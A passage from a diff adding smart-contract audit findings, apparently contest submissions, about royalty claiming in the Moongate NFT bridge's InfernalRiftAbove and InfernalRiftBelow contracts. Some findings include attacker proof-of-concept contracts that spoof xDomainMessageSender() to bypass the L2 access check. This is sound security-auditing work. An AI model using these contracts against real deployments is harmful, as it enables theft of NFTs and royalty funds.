+[InfernalRiftAbove::claimRoyalties](hhttps://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L258-L261) allowing the recipient of the royalty for token `0` to claim royalties for the whole collection:
+
+```solidity
+(address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);
+
+// Check that the receiver of royalties is making this call
+if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender, receiver);
+```
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+For an L1 NFT collection, either:
+
+- The NFT collection doesn't have token `0`
+- Token `0` is an ordinary NFT owned by an ordinary user (not artist)
+- NFT collection royalties are set on a per-token basis.
+
+### Impact
+
+Artists who created NFTs on L1 won't be able to claim their royalties. Instead, the royalties either will be stuck in L2 contracts, or will be claimed by users who have no right to claim them.
+
+### PoC
+
+Not required
+
+### Mitigation
+
+Implement per-token claiming of NFT royalties on L1.
\ No newline at end of file
diff --git a/003/348.md b/003/348.md
new file mode 100644
index 0000000..79bf148
--- /dev/null
+++ b/003/348.md
@@ -0,0 +1,63 @@
+Soft Violet Lion
+
+High
+
+# claimRoyalties in InfernalRiftBelow.sol lack access control
+
+## Summary
+
+In InfernalRiftBelow.sol, the function [claimRoyalties](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L222) has the following logic
+
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+
+```
+
+the comments say that the Ensure that our message is sent from the L1 domain messenger but the code never do it,
+
+a malicious contract caller can trigger claimRoyalties directly as long as the msg.sender return INFERNAL_RIFT_ABOVE address when calling xDomainMessageSender() method.
+
+then a user can build a malicious contract and call claimRoyalties direclty in Rift Below L2 contract to steal the royalties.
+
+```solidity
+contract RoraltyStealer {
+
+ address riftBelow = address(xxxx);
+
+ address INFERNAL_RIFT_ABOVE = address(xxxxx);
+
+ function steal(address _collectionAddress, address _recipient, address[] calldata _tokens public {
+ IRiftBelow(riftBelow).claimRoyalties(_collectionAddress, _recipient, _tokens);
+ }
+
+ function xDomainMessageSender() public view returns {
+ return INFERNAL_RIFT_ABOVE;
+ }
+
+}
+```
+
+## Impact
+
+steal of royalty fund in rift below
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L222
+
+## Recommendation
+
+validate if the message is sent from the L1 domain messenger
diff --git a/003/364.md b/003/364.md
new file mode 100644
index 0000000..a6879f9
--- /dev/null
+++ b/003/364.md
@@ -0,0 +1,68 @@
+Amateur Cornflower Fish
+
+High
+
+# Users cannot claim royalties for `ERC1155`
+
+## Summary
+Users can only claim L1 -> L2 royalties for ERC721 collections and cannot for ERC1155.
+## Vulnerability Detail
+The `InferanlRiftAbove` contract allows users to [claim their L1 royalties](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L242-L274) against the L2 equivalent for collections that support the `EIP-2981` interface:
+
+```solidity
+ if (!IERC2981(_collectionAddress).supportsInterface(type(IERC2981).interfaceId)) revert CollectionNotERC2981Compliant();
+```
+
+Both ERC721 and ERC1155 [can accumulate royalties](https://eips.ethereum.org/EIPS/eip-2981) and EIP2981 supports them, but once the message is received on L2, the [function flow](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220-L232) has only 1 case and that is for 721 tokens:
+
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+@> if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
+
+`isDeployedOnL2()` is called with the [2nd parameter](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L92-L93) hardcoded as `false`:
+
+```solidity
+ function isDeployedOnL2(address _l1CollectionAddress, bool _is1155) public view returns (bool isDeployed_) {
+ isDeployed_ = l2AddressForL1Collection(_l1CollectionAddress, _is1155).code.length > 0;
+ }
+```
+
+Which will check if the `InfernalRiftBelow` contract has deployed an ERC721 clone on the target L2, but using an ERC1155 address. This is impossible to happen in the protocol since whenever a token is bridged, the appropriate ERC type clone is deployed for the collection bridged. Hence, the `if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist()` check will always revert in `InfernalRiftBelow`.
+
+Meanwhile, the `ERC1155Bridged` contract does have a [`claimRoyalties()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol#L116-L135) function, but due to the flawed hardcoded check, it just can't ever be reached.
+
+## Impact
+Royalty recipients of ERC1155 collections that want to claim royalties on the L2 counterpart will never be able to since the check will always fail and the whole function flow only takes into account ERC721 collection types in `isDeployedOnL2`. So loss of funds.
+## Code Snippet
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+@> if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
+## Tool used
+Manual review
+
+## Recommendation
+Have 2 function flow branches, one for ERC721 and one for ERC1155
\ No newline at end of file
diff --git a/003/406.md b/003/406.md
new file mode 100644
index 0000000..541be0b
--- /dev/null
+++ b/003/406.md
@@ -0,0 +1,63 @@
+Shiny Mint Lion
+
+High
+
+# InfernalRiftBelow.claimRoyalties no verification msg.sender
+
+
+
+
+## Summary
+
+`claimRoyalties` used to accept the message on the L1, then execute `ERC721Bridgable.claimRoyalties`, but not the authentication callers, may result in the loss of the assets in the protocol.
+
+## Vulnerability Detail
+
+`claimRoyalties` are used to accept cross-chain calls, but `msg.sender` is not validated:
+
+```solidity
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
+
+If `msg.sender` is a contract account implementing the `ICrossDomainMessenger` interface, the `xDomainMessageSender` function returns an address of `INFERNAL_RIFT_ABOVE`, which means that the `claimRoyalties` function can be invoked.
+
+So anyone can call this function as long as he deploys a contract.
+
+`InfernalRiftBelow.claimRoyalties` function will be called `ERC721Bridgable.claimRoyalties`, transfer NFTs from `ERC721Bridgable` contract, so any can transfer NFTs from `ERC721Bridgable`.
+
+L1 Send message to L2:
+
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens, uint32 _gasLimit) external {
+ .....
+ ICrossDomainMessenger(L1_CROSS_DOMAIN_MESSENGER).sendMessage(
+ INFERNAL_RIFT_BELOW,
+ abi.encodeCall(
+ IInfernalRiftBelow.claimRoyalties,
+ (_collectionAddress, _recipient, _tokens)
+ ),
+ _gasLimit
+ );
+
+ emit RoyaltyClaimStarted(address(INFERNAL_RIFT_BELOW), _collectionAddress, _recipient, _tokens);
+ }
+
+```
+## Impact
+Anyone can steal NFT from the protocol.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220-L232
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
++ if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
++ revert NotCrossDomainMessenger();
++ }
+```
diff --git a/003/436.md b/003/436.md
new file mode 100644
index 0000000..711a89a
--- /dev/null
+++ b/003/436.md
@@ -0,0 +1,56 @@
+Clean Snowy Mustang
+
+Medium
+
+# ERC1155 collection royalty fees cannot be claimed on L2
+
+## Summary
+ERC1155 collection royalty fees cannot be claimed on L2.
+
+## Vulnerability Detail
+
+An ERC1155 collection can be deployed as [ERC1155Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L19) contract with royalty on L2 through moongate.
+
+When the ERC1155 collection tokens are traded on marketplace, royalty fees is collected and accrued in the bridge contract. [claimRoyalties](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L116) can be called to claim royalty fees and the function can only be called by [InfernalRiftBelow](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L26).
+
+[ERC1155Bridgable.sol#L117-L119](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L117-L119):
+```solidity
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+```
+
+The ERC1155 collection royalty receiver is expected to send calls from [InfernalRiftAbove](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L28) to claim royalty fees, when [claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251) is called, a message will be sent from L1 to L2, and [claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) in `InfernalRiftBelow` is called to send accrued royalty fees to the L2 recipient of the royalties.
+
+[InfernalRiftBelow.sol#L220-L232](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-L232):
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
+
+However, as we can see from above, `claimRoyalties()` only supports **ERC721Bridgable**, since **ERC1155Bridgable** is not supported, the royalty fees accrued cannot be claimed.
+
+## Impact
+
+ERC1155 collection royalty fees cannot be claimed on L2, tokens are stucked in **ERC1155Bridgable** contract.
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Refactor to allow royalty receiver to claim ERC1155 collection royalty fees on L2.
\ No newline at end of file
diff --git a/003/449.md b/003/449.md
new file mode 100644
index 0000000..c27e3f1
--- /dev/null
+++ b/003/449.md
@@ -0,0 +1,101 @@
+Flaky Taupe Platypus
+
+High
+
+# Unauthorized users can steal royalties due to wrong check logic.
+
+## Summary
+The [claimRoyalties](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-L232) function is responsible for allowing users to claim royalties on tokens that exist on L2.
+However, there is an issue in the implementation of the `ICrossDomainMessenger(msg.sender).xDomainMessageSender()` check, which could allow unauthorized parties to bypass the security mechanism and exploit the function.
+
+## Vulnerability Detail
+The vulnerability lies in the way the `ICrossDomainMessenger(msg.sender).xDomainMessageSender()` function is used to verify that the message originates from `INFERNAL_RIFT_ABOVE` on L1. The current implementation checks if the xDomainMessageSender() matches INFERNAL_RIFT_ABOVE, but this method can be bypassed because it does not properly verify that the message is coming from `CrossDomainMessenger`
+
+The correct method should involve verifying that the message is coming from `CrossDomainMessenger` contract.
+the address of `CrossDomainMessenger` is `address(0x4200000000000000000000000000000000000007)` so claimRoyalties function
+must check that the call came from `address(0x4200000000000000000000000000000000000007)`
+
+
+POC:
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+import "hardhat/console.sol";
+
+interface InfernalRiftBelowOnLayer2 {
+ function claimRoyalties() external;
+}
+
+interface ICrossDomainMessenger {
+ function xDomainMessageSender() external view returns(address);
+}
+
+// Attacker contract.
+contract Test {
+ function init() public {
+ address deploy_riftBelow = address(new InfernalRiftBelow());
+ call_claimRoyalties(deploy_riftBelow);
+ }
+
+@>>> function call_claimRoyalties(address riftBelow) public {
+ InfernalRiftBelowOnLayer2(riftBelow).claimRoyalties();
+ }
+
+ function xDomainMessageSender() public view returns(address) {
+ return address(0x1);
+ }
+}
+
+// InfernalRiftBelow contract on L2.
+contract InfernalRiftBelow {
+
+ error CrossChainSenderIsNotRiftAbove();
+ address INFERNAL_RIFT_ABOVE = address(0x1);
+
+@>>> // this function can be called by any one.
+@>>> function claimRoyalties() public {
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ console.log("Claim Royalty Check Baypassed...");
+ }
+}
+
+```
+
+result of the test it will print console.log which means claimRoyalties check is Baypassed.
+
+```solidity
+Claim Royalty Check Baypassed...
+```
+
+## Impact
+by bypassing Any one can claim the royalties to himself this will cause collection owner to lost his royalty share.
+
+
+## Recommendation
+
+add a check to ensure that the sender is CrossDomainMessenger which means it came from L1.
+
+```diff
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+
+ // check sender is CrossDomainMessenger.
++ if (msg.sender != address(0x4200000000000000000000000000000000000007)) {
++ revert CrossChainSenderIsNotBridge();
++ }
+
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+}
+```
diff --git a/003/456.md b/003/456.md
new file mode 100644
index 0000000..cd45cf5
--- /dev/null
+++ b/003/456.md
@@ -0,0 +1,84 @@
+Flaky Taupe Platypus
+
+Medium
+
+# ERC1155 cannot claim royalities on L2.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-L232
+
+The royalty claim function is designed to allow owners of collections deployed on L2 to claim their royalties on L1.
+However, this function only supports collections using the ERC721 standard. If the collection is an ERC1155,
+the function reverts due to a check in isDeployedOnL2, preventing the owner from claiming their royalties.
+
+## Vulnerability Detail
+The function claimRoyalties checks if a collection is deployed on L2 using the isDeployedOnL2 function. This check only passes if the collection is an ERC721 standard. When an ERC1155 collection is used as the _collectionAddress, the function reverts because the check fails.
+As a result, owners of ERC1155 collections are unable to claim their royalties.
+
+NOTE: The ERC1155Bridgable contract implements claimRoyalty function: https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L104-L135
+
+POC:
+```solidity
+// on L1
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens, uint32 _gasLimit) external {
+ //...
+@>>> ICrossDomainMessenger(L1_CROSS_DOMAIN_MESSENGER).sendMessage(
+ INFERNAL_RIFT_BELOW,
+ abi.encodeCall(IInfernalRiftBelow.claimRoyalties, (_collectionAddress, _recipient, _tokens)),
+ _gasLimit
+ );
+ //...
+}
+
+// on L2
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+@>>> // revert will happen here because passing ERC1155 _collectionAddress with false to isDeployedOnL2
+ // will check if ERC721Bridgable is deployed not ERC1155Bridgable.
+ // so calling claimRoyalties will cause revert.
+@>>> if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+}
+```
+
+## Impact
+the inability of ERC1155 owners to claim royalties results in a loss of expected income for the collection owners.
+
+## Recommendation
+
+add logic to handle ERC1155 _collectionAddress.
+
+```diff
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
++ if (isDeployedOnL2(_collectionAddress, false)) {
++ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
++ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
++ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
++ }
+
++ else if (isDeployedOnL2(_collectionAddress, true)) {
++ // Call our ERC1155Bridgable contract as the owner to claim royalties to the recipient
++ ERC1155Bridgable(l2AddressForL1Collection(_collectionAddress, true)).claimRoyalties(_recipient, _tokens);
++ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
++ }
+
++ else {
++ revert L1CollectionDoesNotExist();
++ }
+}
+```
diff --git a/003/505.md b/003/505.md
new file mode 100644
index 0000000..2ec65b0
--- /dev/null
+++ b/003/505.md
@@ -0,0 +1,49 @@
+Large Mauve Parrot
+
+High
+
+# Lack of caller validation in `InfernalRiftAbove::claimRoyalties()` allows to steal royalties
+
+### Summary
+
+Lack of caller validation in [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) allows attacker to steal all the royalties of all the ERC721 collection deployed on L2.
+
+### Root Cause
+
+The function [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) should only be callable via L1 call by `INFERNAL_RIFT_ABOVE`, but this is not the case:
+```solidity
+function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+ ...
+}
+```
+This check is not sufficient as it can be easily bypassed by calling [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) with from a contract that implements a function `xDomainMessageSender()` that returns the `INFERNAL_RIFT_ABOVE` address.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker crafts a contract `X` that implements the function `xDomainMessageSender()`, which returns the `INFERNAL_RIFT_ABOVE` address when called, and a function `attack()` that calls [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220)
+2. Attacker calls `attack()` on the `X` contract, which calls [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) by passing as input the targeted `collection`, himself as a `recipient` and all of the available tokens in the `tokens` array
+3. This triggers an internal call to the speicified collection implementation [ERC721Bridgable::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L143) which transfers all of the tokens held in the contract to the attacker
+
+### Impact
+
+Attacker can steal all of the royalties accumulated by any ERC721 collection on L2.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) ensure the `msg.sender` is the correct L2 messenger contract.
\ No newline at end of file
diff --git a/003/506.md b/003/506.md
new file mode 100644
index 0000000..0d0613f
--- /dev/null
+++ b/003/506.md
@@ -0,0 +1,55 @@
+Large Mauve Parrot
+
+High
+
+# `InfernalRiftBelow` lacks a way to withdraw ERC1155 royalties
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+Moongate [ERC1155Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol) implementation allows for NFT royalties currently held in the contract to be claimed via [ERC1155Bridgable::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L116), this function can only be called by the [INFERNAL_RIFT_BELOW](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol) contract:
+
+```solidity
+function claimRoyalties(address _recipient, address[] calldata _tokens) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+ ...
+}
+```
+
+The [INFERNAL_RIFT_BELOW](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol) has no way of calling [ERC1155Bridgable::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L116), the function [InfernalRiftBelow::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220) implements the following [check](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L227) that only allow `ERCBridgable721` implementations (and NOT `ERCBridgable1155`) to be called:
+
+```solidity
+// Get our L2 address from the L1
+if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User bridges ERC1155 with royalties to L2
+2. User sells ERC1155 on L2 and the marketplace pays royalties to the `ERCBridgable1155` implementation
+3. Royalties are locked in the `ERCBridgable1155` implementation as there is no way of retriving them
+
+### Impact
+
+Royalties for ERC1155 tokens cannot be retrieved and are locked in the `ERCBridgable1155` implementation.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In `InfernalRiftBelow.sol` add a function that allows to claim royalties of ERC1155 tokens.
\ No newline at end of file
diff --git a/003/509.md b/003/509.md
new file mode 100644
index 0000000..fb124ff
--- /dev/null
+++ b/003/509.md
@@ -0,0 +1,46 @@
+Large Mauve Parrot
+
+Medium
+
+# If the royalties receiver it's a smart contract it might be impossible to collect L2 royalties
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+The function [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251) can only be called by the receiver of the royalties:
+
+```solidity
+(address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);
+
+// Check that the receiver of royalties is making this call
+if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender, receiver);
+```
+
+This is fine for EOAs but is problematic if `receiver` is a contract that doesn't have a way to call [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251), as this would result in the `receiver` not being able to claim the royalties collected by NFTs bridged to L2.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If the royalties `receiver` is a smart contract that doesn't have a way to call [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251) it's impossible to claim the royalties, which will be stuck.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow royalties to be claimed to the `receiver` address by anybody when `receiver` is a smart contract.
\ No newline at end of file
diff --git a/003/510.md b/003/510.md
new file mode 100644
index 0000000..ee0cef8
--- /dev/null
+++ b/003/510.md
@@ -0,0 +1,60 @@
+Large Mauve Parrot
+
+Medium
+
+# Moongate assumes royalties are always implemented as a fixed percentage of the price, leading to discrepancies or locked tokens
+
+### Summary
+
+Moongate assumes royalties are always implemented as a fixed percentage of the price, but this is not necessarily the case. This might lead to royalties on L2 being different that what they should.
+
+### Root Cause
+
+When first deploying a collection on L2 the royalty percentage is set, which is taken from L1 collection from a user specified token ID. Moongate assumes that the royalty fee is always a fixed percentage of the price of the NFT being sold, which is incorrect. [EIP2981](https://eips.ethereum.org/EIPS/eip-2981) warns about this:
+
+> Subsequent invocations of royaltyInfo() MAY return a different royaltyAmount
+
+> The implementer MAY choose to change the percentage value based on other predictable variables that do not make assumptions about the unit of exchange. For example, the percentage value may drop linearly over time. An approach like this SHOULD NOT be based on variables that are unpredictable like block.timestamp, but instead on other more predictable state changes. One more reasonable approach MAY use the number of transfers of an NFT to decide which percentage value is used to calculate the royaltyAmount. The idea being that the percentage value could decrease after each transfer of the NFT. Another example could be using a different percentage value for each unique _tokenId.
+
+- The royalty fee is set once when the collection is deployed on L2, which assumes the royalty fee is constant over time
+- The royalty fee is retrieved via [InfernalRiftAbove::_getCollectionRoyalty()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L284) which passes `BPS_MULTIPLIER (=10000)` as token price to infer the royalty percentage, assuming the the royalty is a fixed percentage of the price
+- The royalty fee is retrieved via [InfernalRiftAbove::_getCollectionRoyalty()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L284) by which passes a user specified `tokenId`, assuming the royalty fee is the same for every token ID.
+
+Another side effect is that the functions [_thresholdCross721()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L234C14-L234C32) and [_thresholdCross1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L272) both call the `initialize()` function on the respective implementations when first deploying the collection on L2, which calls `_setDefaultRoyalty()`, which reverts when the royalty is bigger than `_feeDenominator()` (ie. `10000`):
+```solidity
+ function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {
+ require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice");
+ require(receiver != address(0), "ERC2981: invalid receiver");
+
+ _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);
+ }
+```
+
+Reverting the bridging transaction on L2 results in the ERC721/ERC1155 tokens being stuck on L1.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+1. The ERC721/ERC1155 collection being bridged doesn't implement a constant fixed percentage as royalty fees
+
+### Attack Path
+
+1. Alice wants to bridge NFT `10` of collection `X`, she calls [InfernalRiftAbove::crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83)
+2. Moongate gets the royalty fee of the NFT `10` at price `10000` via [InfernalRiftAbove::_getCollectionRoyalty()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L284) but collection `X` royalty fee depends on the amount of transfers of each specific NFT. Let's suppose is `5%`
+3. Moongate sets the royalty fee of collection `X` on L2 to be a constant `5%`
+
+
+### Impact
+
+Royalties collected on L2 might be different than the ones that would have accumulated on L1. If the returned royalty is bigger than `10000` the transaction on L2 will always revert, leading to the tokens being stuck in the L1 contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/003/511.md b/003/511.md
new file mode 100644
index 0000000..0ace3e8
--- /dev/null
+++ b/003/511.md
@@ -0,0 +1,55 @@
+Large Mauve Parrot
+
+Medium
+
+# Royalties can only be collected by the `receiver` of the NFT with ID `0`
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+The function [InfernalRiftAbove::claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251) only allows the royalty `receiver` of the NFT with ID `0` to claim royalties for the whole collection:
+
+```solidity
+// We can now pull the royalty information from the L1 to confirm that the caller
